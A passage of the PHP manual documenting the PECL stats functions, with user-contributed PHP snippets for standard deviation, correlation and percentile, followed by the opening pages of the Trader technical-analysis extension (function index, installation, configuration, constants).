            $total_ecart += pow($element, 2);
        }
        return round($total_ecart/count($data) - pow($moyenne,2),$round);
    }
    public static function ecartType($data, $round = 2)
    {
        return round(sqrt(self::variance($data,10*$round)),2);
    }
    public static function moyenne($data, $round = 2)
    {
        if( count($data) == 0 )
            return NULL;
        return round(array_sum($data)/count($data),$round) ;
    }
}
?>
pmcdougl at gac dot edu 07-Mar-2012 07:40
It should be known that this function also casts all of the values of the array to floats. If you pass an array of integers, they will come out as an array of floats.

$data = array(2,3,3,3,3,2,5);
var_dump($data);
$standardDeviation = stats_standard_deviation($data);
var_dump($data);

Prints:
array
  0 => int 2
  1 => int 3
  2 => int 3
  3 => int 3
  4 => int 3
  5 => int 2
  6 => int 5
array
  0 => float 2
  1 => float 3
  2 => float 3
  3 => float 3
  4 => float 3
  5 => float 5
  6 => float 2
Pascal Woerde 07-Sep-2010 09:04
If you want one function for the population and sample, you can use this function:

<?php

function standard_deviation($aValues, $bSample = false)
{
    $fMean = array_sum($aValues) / count($aValues);
    $fVariance = 0.0;
    foreach ($aValues as $i)
    {
        $fVariance += pow($i - $fMean, 2);
    }
    $fVariance /= ( $bSample ? count($aValues) - 1 : count($aValues) );
    return (float) sqrt($fVariance);
}
Sharon 16-Apr-2010 11:40
If you don't have the stat package you can use these functions:

<?php

// Function to calculate square of value - mean
function sd_square($x, $mean) { return pow($x - $mean,2); }

// Function to calculate standard deviation (uses sd_square)
function sd($array) {

// square root of sum of squares devided by N-1
return sqrt(array_sum(array_map("sd_square", $array, array_fill(0,count($array), (array_sum($array) / count($array)) ) ) ) / (count($array)-1) );
}

 ?>


Not documented

  • « stats_standard_deviation
  • stats_stat_correlation »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_stat_binomial_coef

(PECL stats >= 1.0.0)

stats_stat_binomial_coef — Not documented

Description

float stats_stat_binomial_coef ( int $x , int $n )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

n

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_stat_binomial_coef
  • stats_stat_gennch »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_stat_correlation

(PECL stats >= 1.0.0)

stats_stat_correlation — Not documented

Description

float stats_stat_correlation ( array $arr1 , array $arr2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

arr1

arr2

Return Values

User Contributed Notes

admin at maychu dot net (Le Cong) 15-Jun-2009 06:58
Please note that this function is reserved for two arrays with continued numbers inside (just integers).
I tested this function and found that it calculate the Pearson's Correlation Coefficient of two arrays.
---
Here's suggested documentation:

stats_stat_correlation — Calculate the Pearson's Correlation Coefficient of two arrays of continued numbers.

Parameters:
arr1 = array (integer1a, interger2a ...)
arr2 = array (integer1b, interger2b ...))
(Note that the count of elements in two arrays must be equal)

Return value: Pearson's Correlation Coefficient in decimal format (ex. 0.934399822094)

Code examples:

<?php
// Provided by admin@maychu.net
$array_x = array(5,3,6,7,4,2,9,5);
$array_y = array(4,3,4,8,3,2,10,5);
$pearson = stats_stat_correlation($array_x,$array_y);
echo $pearson;
?>
umar dot anjum at ymail dot com 05-Mar-2009 07:05
I tried to use this function, but got a not-defined error. Anyway, I have created a set of functions to replace this:

<?php

//Since Correlation needs two arrays, I am hardcoding them
$array1[0] = 59.3;
$array1[1] = 61.2;
$array1[2] = 56.8
$array1[3] = 97.55;

$array2[0] = 565.82;
$array2[1] = 54.568;
$array2[2] = 84.22;
$array2[3] = 483.55;

//To find the correlation of the two arrays, simply call the
//function Correlation that takes two arrays:

$correlation = Correlation($array1, $array2);

//Displaying the calculated Correlation:
print $correlation;

//The functions that work behind the scene to calculate the
//correlation

function Correlation($arr1, $arr2)
{
    $correlation = 0;

    $k = SumProductMeanDeviation($arr1, $arr2);
    $ssmd1 = SumSquareMeanDeviation($arr1);
    $ssmd2 = SumSquareMeanDeviation($arr2);

    $product = $ssmd1 * $ssmd2;

    $res = sqrt($product);

    $correlation = $k / $res;

    return $correlation;
}

function SumProductMeanDeviation($arr1, $arr2)
{
    $sum = 0;

    $num = count($arr1);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + ProductMeanDeviation($arr1, $arr2, $i);
    }

    return $sum;
}

function ProductMeanDeviation($arr1, $arr2, $item)
{
    return (MeanDeviation($arr1, $item) * MeanDeviation($arr2, $item));
}

function SumSquareMeanDeviation($arr)
{
    $sum = 0;

    $num = count($arr);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + SquareMeanDeviation($arr, $i);
    }

    return $sum;
}

function SquareMeanDeviation($arr, $item)
{
    return MeanDeviation($arr, $item) * MeanDeviation($arr, $item);
}

function SumMeanDeviation($arr)
{
    $sum = 0;

    $num = count($arr);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + MeanDeviation($arr, $i);
    }

    return $sum;
}

function MeanDeviation($arr, $item)
{
    $average = Average($arr);

    return $arr[$item] - $average;
}

function Average($arr)
{
    $sum = Sum($arr);
    $num = count($arr);

    return $sum/$num;
}

function Sum($arr)
{
    return array_sum($arr);
}

?>


Not documented

  • « stats_stat_correlation
  • stats_stat_independent_t »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_stat_gennch

(PECL stats >= 1.0.0)

stats_stat_gennch — Not documented

Description

float stats_stat_gennch ( int $n )
Warning

This function is currently not documented; only its argument list is available.

Parameters

n

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_stat_gennch
  • stats_stat_innerproduct »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_stat_independent_t

(PECL stats >= 1.0.0)

stats_stat_independent_t — Not documented

Description

float stats_stat_independent_t ( array $arr1 , array $arr2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

arr1

arr2

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « stats_stat_independent_t
  • stats_stat_noncentral_t »
  • PHP Manual
  • Statistic Functions
  • Description

stats_stat_innerproduct

(PECL stats >= 1.0.0)

stats_stat_innerproduct —

Description

float stats_stat_innerproduct ( array $arr1 , array $arr2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

arr1

arr2

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the noncentral t distribution give values for the others.

  • « stats_stat_innerproduct
  • stats_stat_paired_t »
  • PHP Manual
  • Statistic Functions
  • Calculates any one parameter of the noncentral t distribution give values for the others.

stats_stat_noncentral_t

(PECL stats >= 1.0.0)

stats_stat_noncentral_t — Calculates any one parameter of the noncentral t distribution give values for the others.

Description

float stats_stat_noncentral_t ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_stat_noncentral_t
  • stats_stat_percentile »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_stat_paired_t

(PECL stats >= 1.0.0)

stats_stat_paired_t — Not documented

Description

float stats_stat_paired_t ( array $arr1 , array $arr2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

arr1

arr2

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_stat_paired_t
  • stats_stat_powersum »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_stat_percentile

(PECL stats >= 1.0.0)

stats_stat_percentile — Not documented

Description

float stats_stat_percentile ( float $df , float $xnonc )
Warning

This function is currently not documented; only its argument list is available.

Parameters

df

xnonc

Return Values

User Contributed Notes

aboulang2002 at yahoo dot com 29-Jan-2009 02:22
If you are looking to infer the percentile from a z-score, you can use this function.
It's far from precise but does the job on most circumstances.
The error function ( erf() )is based on the approximation on wikipedia:
http://en.wikipedia.org/wiki/Error_function

<?php
function erf($x)
{
        $pi = 3.1415927;
        $a = (8*($pi - 3))/(3*$pi*(4 - $pi));
        $x2 = $x * $x;

        $ax2 = $a * $x2;
        $num = (4/$pi) + $ax2;
        $denom = 1 + $ax2;

        $inner = (-$x2)*$num/$denom;
        $erf2 = 1 - exp($inner);

        return sqrt($erf2);
}

function cdf($n)
{
        if($n < 0)
        {
                return (1 - erf($n / sqrt(2)))/2;
        }
        else
        {
                return (1 + erf($n / sqrt(2)))/2;
        }
}

// EXAMPLE
$sample = 90;
$avg = 75;
$stddev = 12;

$zscore = ($sample - $avg) / $stddev;
print 'Percentile: ' . cdf($zscore) * 100 . "\n";
?>

Where $n is the z-score

The function cdf() returns the approximed cumulative standard normal distribution ([0..1])

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (Ed) on 24-FEB-2010 which fixes the definition of $a in erf() with the note that it is "out by a factor of -1" in the original code.]
yuvaraj dot v at gmail dot com 11-Dec-2007 01:37
I have looked at the code available in the Math package for percentile. I compared the result obtained with percentile from Excel and found that it doesnt match. So i wrote my own percentile function and verified the result with the Excel's percentile.

For those of you who need the percentile calculation of Excel in php..

<?php
function mypercentile($data,$percentile){
    if( 0 < $percentile && $percentile < 1 ) {
        $p = $percentile;
    }else if( 1 < $percentile && $percentile <= 100 ) {
        $p = $percentile * .01;
    }else {
        return "";
    }
    $count = count($data);
    $allindex = ($count-1)*$p;
    $intvalindex = intval($allindex);
    $floatval = $allindex - $intvalindex;
    sort($data);
    if(!is_float($floatval)){
        $result = $data[$intvalindex];
    }else {
        if($count > $intvalindex+1)
            $result = $floatval*($data[$intvalindex+1] - $data[$intvalindex]) + $data[$intvalindex];
        else
            $result = $data[$intvalindex];
    }
    return $result;
}
?>

The above code may not be elegant.. but it solves my problem..

yuvaraj


Not documented

  • « stats_stat_percentile
  • stats_variance »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_stat_powersum

(PECL stats >= 1.0.0)

stats_stat_powersum — Not documented

Description

float stats_stat_powersum ( array $arr , float $power )
Warning

This function is currently not documented; only its argument list is available.

Parameters

arr

power

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Returns the population variance

  • « stats_stat_powersum
  • Trader »
  • PHP Manual
  • Statistic Functions
  • Returns the population variance

stats_variance

(PECL stats >= 1.0.0)

stats_variance — Returns the population variance

Description

float stats_variance ( array $a [, bool $sample = false ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

sample

Return Values

User Contributed Notes

Anonymous 27-Feb-2009 10:43
This will return surprising values for most users, since the default of sample=false is rather unusual when speaking about variance.

Point is:
When using stats_variance($foo,TRUE) the sum is divided by n-1 while the default just divides it by n. So when you expect your variance to be lower you probable wanted to divide by n-1, therefore should set the second parameter =TRUE.


Technical Analysis for Traders

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
  • Predefined Constants
  • Trader Functions
    • trader_acos — Vector Trigonometric ACos
    • trader_ad — Chaikin A/D Line
    • trader_add — Vector Arithmetic Add
    • trader_adosc — Chaikin A/D Oscillator
    • trader_adx — Average Directional Movement Index
    • trader_adxr — Average Directional Movement Index Rating
    • trader_apo — Absolute Price Oscillator
    • trader_aroon — Aroon
    • trader_aroonosc — Aroon Oscillator
    • trader_asin — Vector Trigonometric ASin
    • trader_atan — Vector Trigonometric ATan
    • trader_atr — Average True Range
    • trader_avgprice — Average Price
    • trader_bbands — Bollinger Bands
    • trader_beta — Beta
    • trader_bop — Balance Of Power
    • trader_cci — Commodity Channel Index
    • trader_cdl2crows — Two Crows
    • trader_cdl3blackcrows — Three Black Crows
    • trader_cdl3inside — Three Inside Up/Down
    • trader_cdl3linestrike — Three-Line Strike
    • trader_cdl3outside — Three Outside Up/Down
    • trader_cdl3starsinsouth — Three Stars In The South
    • trader_cdl3whitesoldiers — Three Advancing White Soldiers
    • trader_cdlabandonedbaby — Abandoned Baby
    • trader_cdladvanceblock — Advance Block
    • trader_cdlbelthold — Belt-hold
    • trader_cdlbreakaway — Breakaway
    • trader_cdlclosingmarubozu — Closing Marubozu
    • trader_cdlconcealbabyswall — Concealing Baby Swallow
    • trader_cdlcounterattack — Counterattack
    • trader_cdldarkcloudcover — Dark Cloud Cover
    • trader_cdldoji — Doji
    • trader_cdldojistar — Doji Star
    • trader_cdldragonflydoji — Dragonfly Doji
    • trader_cdlengulfing — Engulfing Pattern
    • trader_cdleveningdojistar — Evening Doji Star
    • trader_cdleveningstar — Evening Star
    • trader_cdlgapsidesidewhite — Up/Down-gap side-by-side white lines
    • trader_cdlgravestonedoji — Gravestone Doji
    • trader_cdlhammer — Hammer
    • trader_cdlhangingman — Hanging Man
    • trader_cdlharami — Harami Pattern
    • trader_cdlharamicross — Harami Cross Pattern
    • trader_cdlhighwave — High-Wave Candle
    • trader_cdlhikkake — Hikkake Pattern
    • trader_cdlhikkakemod — Modified Hikkake Pattern
    • trader_cdlhomingpigeon — Homing Pigeon
    • trader_cdlidentical3crows — Identical Three Crows
    • trader_cdlinneck — In-Neck Pattern
    • trader_cdlinvertedhammer — Inverted Hammer
    • trader_cdlkicking — Kicking
    • trader_cdlkickingbylength — Kicking - bull/bear determined by the longer marubozu
    • trader_cdlladderbottom — Ladder Bottom
    • trader_cdllongleggeddoji — Long Legged Doji
    • trader_cdllongline — Long Line Candle
    • trader_cdlmarubozu — Marubozu
    • trader_cdlmatchinglow — Matching Low
    • trader_cdlmathold — Mat Hold
    • trader_cdlmorningdojistar — Morning Doji Star
    • trader_cdlmorningstar — Morning Star
    • trader_cdlonneck — On-Neck Pattern
    • trader_cdlpiercing — Piercing Pattern
    • trader_cdlrickshawman — Rickshaw Man
    • trader_cdlrisefall3methods — Rising/Falling Three Methods
    • trader_cdlseparatinglines — Separating Lines
    • trader_cdlshootingstar — Shooting Star
    • trader_cdlshortline — Short Line Candle
    • trader_cdlspinningtop — Spinning Top
    • trader_cdlstalledpattern — Stalled Pattern
    • trader_cdlsticksandwich — Stick Sandwich
    • trader_cdltakuri — Takuri (Dragonfly Doji with very long lower shadow)
    • trader_cdltasukigap — Tasuki Gap
    • trader_cdlthrusting — Thrusting Pattern
    • trader_cdltristar — Tristar Pattern
    • trader_cdlunique3river — Unique 3 River
    • trader_cdlupsidegap2crows — Upside Gap Two Crows
    • trader_cdlxsidegap3methods — Upside/Downside Gap Three Methods
    • trader_ceil — Vector Ceil
    • trader_cmo — Chande Momentum Oscillator
    • trader_correl — Pearson's Correlation Coefficient (r)
    • trader_cos — Vector Trigonometric Cos
    • trader_cosh — Vector Trigonometric Cosh
    • trader_dema — Double Exponential Moving Average
    • trader_div — Vector Arithmetic Div
    • trader_dx — Directional Movement Index
    • trader_ema — Exponential Moving Average
    • trader_errno — Get error code
    • trader_exp — Vector Arithmetic Exp
    • trader_floor — Vector Floor
    • trader_get_compat — Get compatibility mode
    • trader_get_unstable_period — Get unstable period
    • trader_ht_dcperiod — Hilbert Transform - Dominant Cycle Period
    • trader_ht_dcphase — Hilbert Transform - Dominant Cycle Phase
    • trader_ht_phasor — Hilbert Transform - Phasor Components
    • trader_ht_sine — Hilbert Transform - SineWave
    • trader_ht_trendline — Hilbert Transform - Instantaneous Trendline
    • trader_ht_trendmode — Hilbert Transform - Trend vs Cycle Mode
    • trader_kama — Kaufman Adaptive Moving Average
    • trader_linearreg_angle — Linear Regression Angle
    • trader_linearreg_intercept — Linear Regression Intercept
    • trader_linearreg_slope — Linear Regression Slope
    • trader_linearreg — Linear Regression
    • trader_ln — Vector Log Natural
    • trader_log10 — Vector Log10
    • trader_ma — Moving average
    • trader_macd — Moving Average Convergence/Divergence
    • trader_macdext — MACD with controllable MA type
    • trader_macdfix — Moving Average Convergence/Divergence Fix 12/26
    • trader_mama — MESA Adaptive Moving Average
    • trader_mavp — Moving average with variable period
    • trader_max — Highest value over a specified period
    • trader_maxindex — Index of highest value over a specified period
    • trader_medprice — Median Price
    • trader_mfi — Money Flow Index
    • trader_midpoint — MidPoint over period
    • trader_midprice — Midpoint Price over period
    • trader_min — Lowest value over a specified period
    • trader_minindex — Index of lowest value over a specified period
    • trader_minmax — Lowest and highest values over a specified period
    • trader_minmaxindex — Indexes of lowest and highest values over a specified period
    • trader_minus_di — Minus Directional Indicator
    • trader_minus_dm — Minus Directional Movement
    • trader_mom — Momentum
    • trader_mult — Vector Arithmetic Mult
    • trader_natr — Normalized Average True Range
    • trader_obv — On Balance Volume
    • trader_plus_di — Plus Directional Indicator
    • trader_plus_dm — Plus Directional Movement
    • trader_ppo — Percentage Price Oscillator
    • trader_roc — Rate of change : ((price/prevPrice)-1)*100
    • trader_rocp — Rate of change Percentage: (price-prevPrice)/prevPrice
    • trader_rocr100 — Rate of change ratio 100 scale: (price/prevPrice)*100
    • trader_rocr — Rate of change ratio: (price/prevPrice)
    • trader_rsi — Relative Strength Index
    • trader_sar — Parabolic SAR
    • trader_sarext — Parabolic SAR - Extended
    • trader_set_compat — Set compatibility mode
    • trader_set_unstable_period — Set unstable period
    • trader_sin — Vector Trigonometric Sin
    • trader_sinh — Vector Trigonometric Sinh
    • trader_sma — Simple Moving Average
    • trader_sqrt — Vector Square Root
    • trader_stddev — Standard Deviation
    • trader_stoch — Stochastic
    • trader_stochf — Stochastic Fast
    • trader_stochrsi — Stochastic Relative Strength Index
    • trader_sub — Vector Arithmetic Subtraction
    • trader_sum — Summation
    • trader_t3 — Triple Exponential Moving Average (T3)
    • trader_tan — Vector Trigonometric Tan
    • trader_tanh — Vector Trigonometric Tanh
    • trader_tema — Triple Exponential Moving Average
    • trader_trange — True Range
    • trader_trima — Triangular Moving Average
    • trader_trix — 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA
    • trader_tsf — Time Series Forecast
    • trader_typprice — Typical Price
    • trader_ultosc — Ultimate Oscillator
    • trader_var — Variance
    • trader_wclprice — Weighted Close Price
    • trader_willr — Williams' %R
    • trader_wma — Weighted Moving Average

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The trader extension is a free open source stock library based on TA-Lib. It's dedicated to trading software developers requiring to perform technical analysis of financial market data. Alongside many indicators like ADX, MACD, RSI, Stochastic, TRIX the candlestick pattern recognition and several vector arithmetic and algebraic functions are present.

Calculations can be done in two modes - TA-Lib and Metastock. Changing it using trader_set_compat() will affect the way some trader functions work.

Some trader functions provide different results depending of the "starting point" of the data being involved. This is often referred as a function having memories. An example of such function is the Exponential Moving Average. It is possible to control the unstable period (the amount of data to strip off) using trader_set_unstable_period() function.

Extended documentation about indicators, formulas and implementations in other programming languages can be found under » tadoc.org.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The trader extension is based on » TA-Lib. TA-Lib is fully integrated into the extension, therefore no external libraries are needed.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/trader.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/trader/.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Trader Configure Options
Name | Default | Changeable | Changelog
trader.real_precision | 3 | PHP_INI_ALL | Since trader 0.2.1
trader.real_round_mode | HALF_DOWN | PHP_INI_ALL | Since trader 0.3.0

Here's a short explanation of the configuration directives.

trader.real_precision integer

All the values in the returned arrays will be rounded to this precision. However the calculations inside TA-Lib happen with unrounded values.

trader.real_round_mode string

Controls the trader real rounding policy. Valid values are HALF_UP, HALF_DOWN, HALF_EVEN and HALF_ODD. The behaviour is identical to the round() function used with the mode argument.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

TRADER_MA_TYPE_SMA (integer)
TRADER_MA_TYPE_EMA (integer)
TRADER_MA_TYPE_WMA (integer)
TRADER_MA_TYPE_DEMA (integer)
TRADER_MA_TYPE_TEMA (integer)
TRADER_MA_TYPE_TRIMA (integer)
TRADER_MA_TYPE_KAMA (integer)
TRADER_MA_TYPE_MAMA (integer)
TRADER_MA_TYPE_T3 (integer)
TRADER_REAL_MIN (double)
TRADER_REAL_MAX (double)
TRADER_FUNC_UNST_ADX (integer)
TRADER_FUNC_UNST_ADXR (integer)
TRADER_FUNC_UNST_ATR (integer)
TRADER_FUNC_UNST_CMO (integer)
TRADER_FUNC_UNST_DX (integer)
TRADER_FUNC_UNST_EMA (integer)
TRADER_FUNC_UNST_HT_DCPERIOD (integer)
TRADER_FUNC_UNST_HT_DCPHASE (integer)
TRADER_FUNC_UNST_HT_PHASOR (integer)
TRADER_FUNC_UNST_HT_SINE (integer)
TRADER_FUNC_UNST_HT_TRENDLINE (integer)
TRADER_FUNC_UNST_HT_TRENDMODE (integer)
TRADER_FUNC_UNST_KAMA (integer)
TRADER_FUNC_UNST_MAMA (integer)
TRADER_FUNC_UNST_MFI (integer)
TRADER_FUNC_UNST_MINUS_DI (integer)
TRADER_FUNC_UNST_MINUS_DM (integer)
TRADER_FUNC_UNST_NATR (integer)
TRADER_FUNC_UNST_PLUS_DI (integer)
TRADER_FUNC_UNST_PLUS_DM (integer)
TRADER_FUNC_UNST_RSI (integer)
TRADER_FUNC_UNST_STOCHRSI (integer)
TRADER_FUNC_UNST_T3 (integer)
TRADER_FUNC_UNST_ALL (integer)
TRADER_FUNC_UNST_NONE (integer)
TRADER_COMPATIBILITY_DEFAULT (integer)
TRADER_COMPATIBILITY_METASTOCK (integer)
TRADER_ERR_SUCCESS (integer)
TRADER_ERR_LIB_NOT_INITIALIZE (integer)
TRADER_ERR_BAD_PARAM (integer)
TRADER_ERR_ALLOC_ERR (integer)
TRADER_ERR_GROUP_NOT_FOUND (integer)
TRADER_ERR_FUNC_NOT_FOUND (integer)
TRADER_ERR_INVALID_HANDLE (integer)
TRADER_ERR_INVALID_PARAM_HOLDER (integer)
TRADER_ERR_INVALID_PARAM_HOLDER_TYPE (integer)
TRADER_ERR_INVALID_PARAM_FUNCTION (integer)
TRADER_ERR_INPUT_NOT_ALL_INITIALIZE (integer)
TRADER_ERR_OUTPUT_NOT_ALL_INITIALIZE (integer)
TRADER_ERR_OUT_OF_RANGE_START_INDEX (integer)
TRADER_ERR_OUT_OF_RANGE_END_INDEX (integer)
TRADER_ERR_INVALID_LIST_TYPE (integer)
TRADER_ERR_BAD_OBJECT (integer)
TRADER_ERR_NOT_SUPPORTED (integer)
TRADER_ERR_INTERNAL_ERROR (integer)
TRADER_ERR_UNKNOWN_ERROR (integer)

User Contributed Notes

There are no user contributed notes for this page.


Trader Functions

Table of Contents

  • trader_acos — Vector Trigonometric ACos
  • trader_ad — Chaikin A/D Line
  • trader_add — Vector Arithmetic Add
  • trader_adosc — Chaikin A/D Oscillator
  • trader_adx — Average Directional Movement Index
  • trader_adxr — Average Directional Movement Index Rating
  • trader_apo — Absolute Price Oscillator
  • trader_aroon — Aroon
  • trader_aroonosc — Aroon Oscillator
  • trader_asin — Vector Trigonometric ASin
  • trader_atan — Vector Trigonometric ATan
  • trader_atr — Average True Range
  • trader_avgprice — Average Price
  • trader_bbands — Bollinger Bands
  • trader_beta — Beta
  • trader_bop — Balance Of Power
  • trader_cci — Commodity Channel Index
  • trader_cdl2crows — Two Crows
  • trader_cdl3blackcrows — Three Black Crows
  • trader_cdl3inside — Three Inside Up/Down
  • trader_cdl3linestrike — Three-Line Strike
  • trader_cdl3outside — Three Outside Up/Down
  • trader_cdl3starsinsouth — Three Stars In The South
  • trader_cdl3whitesoldiers — Three Advancing White Soldiers
  • trader_cdlabandonedbaby — Abandoned Baby
  • trader_cdladvanceblock — Advance Block
  • trader_cdlbelthold — Belt-hold
  • trader_cdlbreakaway — Breakaway
  • trader_cdlclosingmarubozu — Closing Marubozu
  • trader_cdlconcealbabyswall — Concealing Baby Swallow
  • trader_cdlcounterattack — Counterattack
  • trader_cdldarkcloudcover — Dark Cloud Cover
  • trader_cdldoji — Doji
  • trader_cdldojistar — Doji Star
  • trader_cdldragonflydoji — Dragonfly Doji
  • trader_cdlengulfing — Engulfing Pattern
  • trader_cdleveningdojistar — Evening Doji Star
  • trader_cdleveningstar — Evening Star
  • trader_cdlgapsidesidewhite — Up/Down-gap side-by-side white lines
  • trader_cdlgravestonedoji — Gravestone Doji
  • trader_cdlhammer — Hammer
  • trader_cdlhangingman — Hanging Man
  • trader_cdlharami — Harami Pattern
  • trader_cdlharamicross — Harami Cross Pattern
  • trader_cdlhighwave — High-Wave Candle
  • trader_cdlhikkake — Hikkake Pattern
  • trader_cdlhikkakemod — Modified Hikkake Pattern
  • trader_cdlhomingpigeon — Homing Pigeon
  • trader_cdlidentical3crows — Identical Three Crows
  • trader_cdlinneck — In-Neck Pattern
  • trader_cdlinvertedhammer — Inverted Hammer
  • trader_cdlkicking — Kicking
  • trader_cdlkickingbylength — Kicking - bull/bear determined by the longer marubozu
  • trader_cdlladderbottom — Ladder Bottom
  • trader_cdllongleggeddoji — Long Legged Doji
  • trader_cdllongline — Long Line Candle
  • trader_cdlmarubozu — Marubozu
  • trader_cdlmatchinglow — Matching Low
  • trader_cdlmathold — Mat Hold
  • trader_cdlmorningdojistar — Morning Doji Star
  • trader_cdlmorningstar — Morning Star
  • trader_cdlonneck — On-Neck Pattern
  • trader_cdlpiercing — Piercing Pattern
  • trader_cdlrickshawman — Rickshaw Man
  • trader_cdlrisefall3methods — Rising/Falling Three Methods
  • trader_cdlseparatinglines — Separating Lines
  • trader_cdlshootingstar — Shooting Star
  • trader_cdlshortline — Short Line Candle
  • trader_cdlspinningtop — Spinning Top
  • trader_cdlstalledpattern — Stalled Pattern
  • trader_cdlsticksandwich — Stick Sandwich
  • trader_cdltakuri — Takuri (Dragonfly Doji with very long lower shadow)
  • trader_cdltasukigap — Tasuki Gap
  • trader_cdlthrusting — Thrusting Pattern
  • trader_cdltristar — Tristar Pattern
  • trader_cdlunique3river — Unique 3 River
  • trader_cdlupsidegap2crows — Upside Gap Two Crows
  • trader_cdlxsidegap3methods — Upside/Downside Gap Three Methods
  • trader_ceil — Vector Ceil
  • trader_cmo — Chande Momentum Oscillator
  • trader_correl — Pearson's Correlation Coefficient (r)
  • trader_cos — Vector Trigonometric Cos
  • trader_cosh — Vector Trigonometric Cosh
  • trader_dema — Double Exponential Moving Average
  • trader_div — Vector Arithmetic Div
  • trader_dx — Directional Movement Index
  • trader_ema — Exponential Moving Average
  • trader_errno — Get error code
  • trader_exp — Vector Arithmetic Exp
  • trader_floor — Vector Floor
  • trader_get_compat — Get compatibility mode
  • trader_get_unstable_period — Get unstable period
  • trader_ht_dcperiod — Hilbert Transform - Dominant Cycle Period
  • trader_ht_dcphase — Hilbert Transform - Dominant Cycle Phase
  • trader_ht_phasor — Hilbert Transform - Phasor Components
  • trader_ht_sine — Hilbert Transform - SineWave
  • trader_ht_trendline — Hilbert Transform - Instantaneous Trendline
  • trader_ht_trendmode — Hilbert Transform - Trend vs Cycle Mode
  • trader_kama — Kaufman Adaptive Moving Average
  • trader_linearreg_angle — Linear Regression Angle
  • trader_linearreg_intercept — Linear Regression Intercept
  • trader_linearreg_slope — Linear Regression Slope
  • trader_linearreg — Linear Regression
  • trader_ln — Vector Log Natural
  • trader_log10 — Vector Log10
  • trader_ma — Moving average
  • trader_macd — Moving Average Convergence/Divergence
  • trader_macdext — MACD with controllable MA type
  • trader_macdfix — Moving Average Convergence/Divergence Fix 12/26
  • trader_mama — MESA Adaptive Moving Average
  • trader_mavp — Moving average with variable period
  • trader_max — Highest value over a specified period
  • trader_maxindex — Index of highest value over a specified period
  • trader_medprice — Median Price
  • trader_mfi — Money Flow Index
  • trader_midpoint — MidPoint over period
  • trader_midprice — Midpoint Price over period
  • trader_min — Lowest value over a specified period
  • trader_minindex — Index of lowest value over a specified period
  • trader_minmax — Lowest and highest values over a specified period
  • trader_minmaxindex — Indexes of lowest and highest values over a specified period
  • trader_minus_di — Minus Directional Indicator
  • trader_minus_dm — Minus Directional Movement
  • trader_mom — Momentum
  • trader_mult — Vector Arithmetic Mult
  • trader_natr — Normalized Average True Range
  • trader_obv — On Balance Volume
  • trader_plus_di — Plus Directional Indicator
  • trader_plus_dm — Plus Directional Movement
  • trader_ppo — Percentage Price Oscillator
  • trader_roc — Rate of change : ((price/prevPrice)-1)*100
  • trader_rocp — Rate of change Percentage: (price-prevPrice)/prevPrice
  • trader_rocr100 — Rate of change ratio 100 scale: (price/prevPrice)*100
  • trader_rocr — Rate of change ratio: (price/prevPrice)
  • trader_rsi — Relative Strength Index
  • trader_sar — Parabolic SAR
  • trader_sarext — Parabolic SAR - Extended
  • trader_set_compat — Set compatibility mode
  • trader_set_unstable_period — Set unstable period
  • trader_sin — Vector Trigonometric Sin
  • trader_sinh — Vector Trigonometric Sinh
  • trader_sma — Simple Moving Average
  • trader_sqrt — Vector Square Root
  • trader_stddev — Standard Deviation
  • trader_stoch — Stochastic
  • trader_stochf — Stochastic Fast
  • trader_stochrsi — Stochastic Relative Strength Index
  • trader_sub — Vector Arithmetic Subtraction
  • trader_sum — Summation
  • trader_t3 — Triple Exponential Moving Average (T3)
  • trader_tan — Vector Trigonometric Tan
  • trader_tanh — Vector Trigonometric Tanh
  • trader_tema — Triple Exponential Moving Average
  • trader_trange — True Range
  • trader_trima — Triangular Moving Average
  • trader_trix — 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA
  • trader_tsf — Time Series Forecast
  • trader_typprice — Typical Price
  • trader_ultosc — Ultimate Oscillator
  • trader_var — Variance
  • trader_wclprice — Weighted Close Price
  • trader_willr — Williams' %R
  • trader_wma — Weighted Moving Average

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric ACos

  • « Trader Functions
  • trader_ad »
  • PHP Manual
  • Trader Functions
  • Vector Trigonometric ACos

trader_acos

(PECL trader >= 0.2.0)

trader_acos — Vector Trigonometric ACos

Description

array trader_acos ( array $real )

Calculates the arc cosine for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

